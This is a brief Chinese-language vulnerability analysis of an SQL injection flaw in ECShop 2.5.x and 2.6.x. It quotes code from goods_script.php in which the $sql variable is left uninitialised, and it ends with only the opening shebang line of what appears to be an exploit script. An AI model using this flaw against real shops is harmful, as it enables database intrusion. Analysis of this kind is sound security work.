ECShop 注射漏洞分析

影响2.5.x和2.6.x,其他版本未测试
goods_script.php
44行:

复制代码代码如下:
if (empty($_GET['type']))
{
...
}
elseif ($_GET['type'] == 'collection')
{
...
}
$sql .= " LIMIT " . (!empty($_GET['goods_num']) ? intval($_GET['goods_num']) : 10);
$res = $db->query($sql);

$sql没有初始化,很明显的一个漏洞:)

复制代码代码如下:
#!/usr/bin/php
